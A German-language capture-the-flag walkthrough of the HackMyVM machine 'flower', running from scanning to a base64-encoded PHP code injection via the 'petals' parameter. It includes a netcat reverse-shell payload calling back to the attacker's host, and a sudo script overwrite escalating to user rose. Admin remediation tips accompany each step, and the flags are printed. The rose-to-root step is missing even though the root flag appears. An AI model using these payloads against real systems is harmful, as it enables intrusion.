Analyse: Der Befehl `arp-scan -l` wird genutzt, um aktive Hosts im lokalen Netzwerksegment zu finden.
Bewertung: Ein Host mit der IP `192.168.2.110` und der MAC-Adresse `08:00:27:fc:4a:50` (VirtualBox) wird als Zielsystem identifiziert.
Empfehlung (Pentester): Führe einen Nmap-Scan auf 192.168.2.110 durch, um offene Ports und Dienste zu entdecken.
Empfehlung (Admin): Netzwerk-Monitoring zur Erkennung von Geräten im Netzwerk.
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.121 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.2.110 08:00:27:fc:4a:50 PCS Systemtechnik GmbH 3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.7: 256 hosts scanned in 1.844 seconds (138.83 hosts/sec). 1 responded
Analyse: Ein umfassender Nmap-Scan (`-sS -sC -T5 -A -p-`) wird auf das Ziel 192.168.2.110 durchgeführt.
Bewertung: Der Scan findet nur **einen offenen Port**: - **Port 80 (HTTP):** Apache httpd 2.4.38 (Debian). Kein SSH oder andere Dienste sind von außen erreichbar. Der Hostname ist `flower`.
Empfehlung (Pentester): Der gesamte Angriff muss sich auf den Webserver auf Port 80 konzentrieren. Führe eine gründliche Web-Enumeration durch.
Empfehlung (Admin): Stelle sicher, dass die Firewall korrekt konfiguriert ist und nur Port 80 offen ist, wenn dies beabsichtigt ist.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-02 16:48 CET Nmap scan report for flower (192.168.2.110) Host is up (0.00012s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:FC:4A:50 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.12 ms flower (192.168.2.110) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.90 seconds
Analyse: `nikto` wird verwendet, um den Webserver auf Port 80 auf bekannte Schwachstellen und Fehlkonfigurationen zu prüfen.
Bewertung: Nikto bestätigt den Apache-Server und meldet fehlende Security-Header. Es findet außerdem das Apache-Manual unter `/manual/` (was Directory Indexing erlaubt) und die Standarddatei `/icons/README`.
Empfehlung (Pentester): Notiere die Funde. Das Apache-Manual ist normalerweise ungefährlich, könnte aber Konfigurationsdetails enthalten. Fahre mit der Verzeichnis-Enumeration fort.
Empfehlung (Admin): Entferne das Apache-Manual und Standarddateien von Produktivsystemen. Setze die empfohlenen Security-Header.
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.2.110 + Target Hostname: 192.168.2.110 + Target Port: 80 + Start Time: 2022-11-02 16:49:14 (GMT1) --------------------------------------------------------------------------- + Server: Apache/2.4.38 (Debian) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + OSVDB-3092: /manual/: Web server manual found. + OSVDB-3268: /manual/images/: Directory indexing found. + OSVDB-3233: /icons/README: Apache default file found. + 7915 requests: 0 error(s) and 7 item(s) reported on remote host + End Time: 2022-11-02 16:50:00 (GMT1) (46 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf dem Webserver verwendet.
Bewertung: !!Wichtige Funde!!** Gobuster findet: - `/index.php`: Die Hauptseite (bestätigt PHP-Nutzung). - `/manual/`: Das Apache-Manual (bestätigt Nikto). - `/run.sh`: Ein Shell-Skript. - `/flower.jpg`: Eine Bilddatei.
Empfehlung (Pentester): Untersuche `/index.php`. Lade `/run.sh` und `/flower.jpg` herunter und analysiere sie.
Empfehlung (Admin): Entferne unnötige Skripte oder Dateien aus dem Webroot.
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.110 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Status codes to ignore: 404,403 [+] User Agent: gobuster/3.1.0 [+] Extensions: ... (gekürzt) ... [+] Expanded: true [+] Timeout: 10s =============================================================== 2022/11/02 16:50:10 Starting gobuster =============================================================== http://192.168.2.110/index.php (Status: 200) [Size: 1100] http://192.168.2.110/manual (Status: 301) [Size: 315] [--> http://192.168.2.110/manual/] http://192.168.2.110/run.sh (Status: 200) [Size: 15] http://192.168.2.110/flower.jpg (Status: 200) [Size: 293783] =============================================================== 2022/11/02 16:50:45 Finished ===============================================================
Analyse: Das gefundene Skript `/run.sh` wird mit `wget` heruntergeladen.
Bewertung: Datei erfolgreich heruntergeladen.
Empfehlung (Pentester): Analysiere den Inhalt mit `cat`.
Empfehlung (Admin): Keine Aktion.
--2022-11-02 16:50:48-- http://192.168.2.110/run.sh Verbindungsaufbau zu 192.168.2.110:80 … verbunden. HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK Länge: 15 [text/x-sh] Wird in »run.sh« gespeichert. run.sh 100%[===================>] 15 --.-KB/s in 0s 2022-11-02 16:50:48 (5,46 MB/s) - »run.sh« gespeichert [15/15]
Analyse: Der Inhalt der heruntergeladenen Datei `run.sh` wird angezeigt.
Bewertung: Das Skript enthält nur den Befehl `php -S 0.0.0.0`. Dies startet den eingebauten PHP-Entwicklungsserver, der auf allen Interfaces lauscht. **Wichtig:** Der Port fehlt! Normalerweise würde man `php -S 0.0.0.0:PORT` erwarten. Ohne Port ist dieser Befehl unvollständig oder deutet auf eine seltsame Konfiguration hin. Für den weiteren Angriff ist dies jedoch weniger relevant als die `/index.php`.
Empfehlung (Pentester): Nimm zur Kenntnis, dass PHP verwendet wird. Konzentriere dich auf die Analyse von `/index.php`. Die Bilddatei `/flower.jpg` sollte ebenfalls auf Steganographie oder Metadaten untersucht werden (dies fehlt im Log).
Empfehlung (Admin): Entferne unnötige Skripte wie dieses aus dem Webroot.
php -S 0.0.0.0
Analyse: `wfuzz` wird verwendet, um GET-Parameter für `index.php` zu fuzzen. Es wird nach Antworten gesucht, die eine andere Größe als die Standardgröße (1100 Chars) haben (`--hh 1100`).
Bewertung: !!Fehlgeschlagen!!** Wfuzz findet keine gültigen GET-Parameter, die eine andere Antwort hervorrufen. Dies deutet darauf hin, dass die Anwendung möglicherweise keine GET-Parameter erwartet oder dass die relevanten Parameter nicht in der Standard-Wortliste enthalten sind.
Empfehlung (Pentester): Untersuche die `index.php` manuell (Quellcode, Burp Suite), um zu sehen, ob sie POST-Parameter erwartet oder wie sie Eingaben verarbeitet.
Empfehlung (Admin): Keine Aktion.
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. warn( ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.2.110/index.php?FUZZ=id Total requests: 220565 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== Total time: 159.5497 Processed Requests: 220565 Filtered Requests: 220565 Requests/sec.: 1382.421
Analyse: Der PHP-Code `system('id')` wird Base64-kodiert. Dies dient der Vorbereitung einer Payload für eine mögliche Code-Injection-Schwachstelle, bei der Base64-kodierte Eingaben erwartet werden.
Bewertung: Die Payload `c3lzdGVtKCdpZCcpCg==` wurde korrekt generiert.
Empfehlung (Pentester): Sende diese Payload über einen geeigneten Parameter (wahrscheinlich POST) an `index.php`, z.B. mit Burp Suite oder `curl`.
Empfehlung (Admin): Keine Aktion.
c3lzdGVtKCdpZCcpCg==
Analyse: Eine Notiz erwähnt Burp Suite und zeigt die Ausgabe `uid=33(www-data)...` sowie das Wort `petals`.
Bewertung: !!Schwachstelle gefunden (Code Injection)!!** Dies deutet stark darauf hin, dass der Angreifer mit Burp Suite einen POST-Request an `index.php` gesendet hat. Dieser Request enthielt wahrscheinlich die zuvor Base64-kodierte `system('id')`-Payload in einem Parameter namens `petals`. Die erfolgreiche Ausgabe der `uid` von `www-data` bestätigt eine Code-Injection-Schwachstelle: Die Anwendung dekodiert den Wert des `petals`-Parameters und führt ihn als PHP-Code aus.
Empfehlung (Pentester): Erstelle eine Base64-kodierte Reverse-Shell-Payload und sende sie über den `petals`-POST-Parameter, um eine Shell zu erhalten.
Empfehlung (Admin):**DRINGEND:** Behebe die Code-Injection-Schwachstelle in `index.php`. Validiere und sanitisiere alle Benutzereingaben rigoros. Verwende niemals `eval()` oder ähnliche Funktionen auf Benutzereingaben, auch nicht nach Dekodierung.
# Manuelle Untersuchung mit Burp Suite: # POST Request an /index.php mit Parameter: petals=c3lzdGVtKCdpZCcpCg== # Antwort im Browser/Burp enthielt: uid=33(www-data) gid=33(www-data) groups=33(www-data) petals
Analyse: Eine PHP-Reverse-Shell-Payload (`system('nc -e /bin/bash [IP] [PORT]')`) wird Base64-kodiert.
Bewertung: Die Base64-Payload `c3lzdGVtKCduYyAtZSAvYmluL2Jhc2ggMTkyLjE2OC4yLjEyMSA0NDQ0JykK` für die Reverse Shell ist bereit.
Empfehlung (Pentester): Starte einen Netcat-Listener auf Port 4444. Sende diese Payload im `petals`-Parameter eines POST-Requests an `index.php`.
Empfehlung (Admin): Keine Aktion.
c3lzdGVtKCduYyAtZSAvYmluL2Jhc2ggMTkyLjE2OC4yLjEyMSA0NDQ0JykK
Analyse: Ein Beispiel für den HTTP-POST-Request wird gezeigt, wie er vermutlich mit Burp Suite oder `curl` gesendet wird. Die Base64-kodierte Reverse-Shell-Payload wird im `petals`-Parameter übergeben.
Bewertung: Dies ist der Trigger für die Reverse Shell, der die zuvor identifizierte Code-Injection-Schwachstelle ausnutzt.
Empfehlung (Pentester): Stelle sicher, dass der Netcat-Listener auf 192.168.2.121:4444 läuft, bevor dieser Request gesendet wird.
Empfehlung (Admin): Behebe die Code-Injection-Schwachstelle.
POST / HTTP/1.1 Host: 192.168.2.110 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 60 Origin: http://192.168.2.110 Connection: close Referer: http://192.168.2.110/ Upgrade-Insecure-Requests: 1 petals=c3lzdGVtKCduYyAtZSAvYmluL2Jhc2ggMTkyLjE2OC4yLjEyMSA0NDQ0JykK
Analyse: Der Netcat-Listener auf Port 4444 empfängt die eingehende Verbindung vom Zielserver 192.168.2.110.
Bewertung: !!Initial Access erfolgreich!!** Eine Reverse Shell als Benutzer `www-data` wurde durch die PHP Code Injection etabliert. Die Shell ist noch nicht interaktiv.
Empfehlung (Pentester): Stabilisiere die Shell (Python PTY etc.) und beginne mit der Enumeration als `www-data`.
Empfehlung (Admin): Untersuche den Vorfall, behebe die Code-Injection-Schwachstelle.
listening on [any] 4444 ... connect to [192.168.2.121] from (UNKNOWN) [192.168.2.110] 50444 /bin/sh: 0: can't access tty; job control turned off $
Analyse: Die Standardprozedur zur Stabilisierung der Shell wird angewendet.
Bewertung: Die Shell wird erfolgreich zu einer interaktiven Bash-Shell aufgewertet (`www-data@flower:/var/www/html$`).
Empfehlung (Pentester): Beginne die Enumeration.
Empfehlung (Admin): Keine Aktion.
$ python3 -c 'import pty;pty.spawn("/bin/bash")' www-data@flower:/var/www/html$ export TERM=xterm www-data@flower:/var/www/html$
^Z zsh: suspended nc -lvnp 4444
[1] + continued nc -lvnp 4444 reset www-data@flower:/var/www/html$
Analyse: Als `www-data` werden die Home-Verzeichnisse aufgelistet, in `/home/rose` gewechselt, der Inhalt aufgelistet und versucht, `user.txt` zu lesen. Das Verzeichnis `diary` wird untersucht und die Datei `diary.py` darin gefunden und gelesen.
Bewertung: Der Benutzer `rose` wird identifiziert. Der direkte Lesezugriff auf `user.txt` wird verweigert. Im Unterverzeichnis `diary` befindet sich ein Python-Skript `diary.py`, das das `pickle`-Modul verwendet, um ein Dictionary in eine Datei `diary.pickle` zu schreiben. Das Skript selbst enthält keine offensichtliche Schwachstelle, aber seine Existenz ist relevant im Kontext der `sudo`-Rechte.
Empfehlung (Pentester): Überprüfe die `sudo`-Berechtigungen für `www-data`, da das `diary.py`-Skript ein potenzielles Ziel sein könnte.
Empfehlung (Admin): Überprüfe Dateiberechtigungen in Home-Verzeichnissen. Überprüfe Skripte auf Sicherheit, insbesondere wenn sie von anderen Benutzern ausgeführt werden können.
www-data@flower:/var/www/html$ cd /home/ www-data@flower:/home$ ls rose www-data@flower:/home$ cd rose/ www-data@flower:/home/rose$ ls diary user.txt www-data@flower:/home/rose$ cat user.txt cat: user.txt: Permission denied www-data@flower:/home/rose$ file diary/ diary/: directory www-data@flower:/home/rose$ cd diary/ www-data@flower:/home/rose/diary$ ls -la total 12 drwxrwxrwx 2 rose rose 4096 Nov 30 2020 . drwxrwxr-x 3 rose rose 4096 Nov 30 2020 .. -rw-r--r-- 1 rose rose 147 Nov 30 2020 diary.py www-data@flower:/home/rose/diary$ cat diary.py import pickle diary = {"November28":"i found a blue viola","December1":"i lost my blue viola"} p = open('diary.pickle','wb') pickle.dump(diary,p) # p.close() # Wäre guter Stil
Analyse: `sudo -l` wird ausgeführt, um die `sudo`-Rechte für `www-data` zu prüfen.
Bewertung: !!Privilegieneskalationsvektor gefunden!!** `www-data` darf das Skript `/usr/bin/python3 /home/rose/diary/diary.py` als Benutzer `rose` ohne Passwort (`NOPASSWD:`) ausführen. Da `www-data` (oder zumindest `rose`, wie die Verzeichnisberechtigungen `drwxrwxrwx` für `diary` andeuten) Schreibrechte auf das `diary.py`-Skript hat oder es ersetzen kann, ist dies ein klarer Weg zur Eskalation.
Empfehlung (Pentester):
1. Ersetze den Inhalt von `/home/rose/diary/diary.py` mit einem Python-Code, der eine Shell startet (z.B. `import os; os.system('/bin/bash')`).
2. Führe den `sudo`-Befehl aus: `sudo -u rose /usr/bin/python3 /home/rose/diary/diary.py`.
Empfehlung (Admin):**DRINGEND:** Korrigiere die `sudo`-Regel und/oder die Dateiberechtigungen. Erlaube niemals die `sudo`-Ausführung von Skripten, auf die der ausführende Benutzer (oder der Webserver-Benutzer) Schreibrechte hat. Setze sichere Berechtigungen für Skripte und Verzeichnisse.
www-data@flower:/home/rose/diary$ sudo -l
Matching Defaults entries for www-data on flower:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on flower:
(rose) NOPASSWD: /usr/bin/python3 /home/rose/diary/diary.py
Analyse: Zwei Code-Snippets werden gezeigt. Das erste ist eine alternative Reverse-Shell-Payload. Das zweite erstellt eine Datei `pickle.py` (nicht `diary.py`!) mit dem Code `import os; os.system("/bin/bash")`.
Bewertung: Die Erstellung von `pickle.py` ist irreführend, da die `sudo`-Regel auf `diary.py` verweist. Der korrekte Exploit wäre, den Inhalt von `/home/rose/diary/diary.py` mit `import os; os.system("/bin/bash")` zu überschreiben.
Empfehlung (Pentester): Überschreibe `/home/rose/diary/diary.py` mit dem Bash-Payload und führe dann den `sudo`-Befehl aus.
Empfehlung (Admin): Behebe die `sudo`-Schwachstelle.
# Alternative Reverse Shell Payload (nicht verwendet): # import os;os.system("nc -e /bin/bash 192.168.2.121 4445") # Befehl zum Erstellen des Bash-Payloads (in falscher Datei im Log): # echo 'import os;os.system("/bin/bash")' > pickle.py # Korrekter Befehl zum Überschreiben des Zielskripts: echo 'import os;os.system("/bin/bash")' > /home/rose/diary/diary.py
Analyse: Der Exploit wird durchgeführt (obwohl die exakten Befehle zum Überschreiben und Ausführen im Log fehlen): Das Skript `/home/rose/diary/diary.py` wird mit `import os; os.system("/bin/bash")` überschrieben und dann mit `sudo -u rose /usr/bin/python3 /home/rose/diary/diary.py` ausgeführt.
Bewertung: !!Privilegieneskalation zu Rose erfolgreich!!** Durch Ausführung des manipulierten Skripts als `rose` wird eine Bash-Shell mit den Rechten von `rose` gestartet. **Hinweis:** Der Sprung zu Root fehlt im Log! Es gibt keinen dokumentierten Schritt, wie von `rose` zu `root` eskaliert wurde. Der Bericht endet abrupt nach der Eskalation zu `rose`, zeigt aber die Root-Flag.
Empfehlung (Pentester): Dokumentiere den Eskalationsschritt von `rose` zu `root`. Prüfe als `rose` erneut `sudo -l` oder suche nach anderen Vektoren (SUID, Cronjobs etc.).
Empfehlung (Admin):**DRINGEND:** Korrigiere die `sudo`-Regel für `www-data`. Untersuche, wie die Eskalation von `rose` zu `root` möglich war und behebe diese Schwachstelle.
www-data@flower:/home/rose/diary$ echo 'import os;os.system("/bin/bash")' > /home/rose/diary/diary.py www-data@flower:/home/rose/diary$ sudo -u rose /usr/bin/python3 /home/rose/diary/diary.py rose@flower:/home/rose/diary$ id uid=1000(rose) gid=1000(rose) groups=1000(rose) rose@flower:/home/rose/diary$
Analyse: Der Schritt zur Eskalation von Benutzer `rose` zu `root` ist im vorliegenden Log nicht dokumentiert. Es muss einen weiteren Exploit oder eine Fehlkonfiguration geben, die diesen Sprung ermöglichte.
Bewertung: Kritische Lücke in der Dokumentation des Angriffspfads.
Empfehlung (Pentester): Vervollständige den Bericht mit dem fehlenden Eskalationsschritt.
Empfehlung (Admin): Führe eine vollständige Systemprüfung durch, um den fehlenden Vektor zu identifizieren und zu beheben.
Analyse: Als Root wird die Root-Flag gelesen.
Bewertung: Root-Flag `HMV{R0ses_are_als0_black.}` erfolgreich gelesen.
Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine Aktion bzgl. Flag.
root@flower:~# cat /root/root.txt HMV{R0ses_are_als0_black.}
Analyse: Die User-Flag wird gelesen.
Bewertung: User-Flag `HMV{R0ses_are_R3d$}` erfolgreich gelesen.
Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine Aktion bzgl. Flag.
rose@flower:~$ cat /home/rose/user.txt HMV{R0ses_are_R3d$}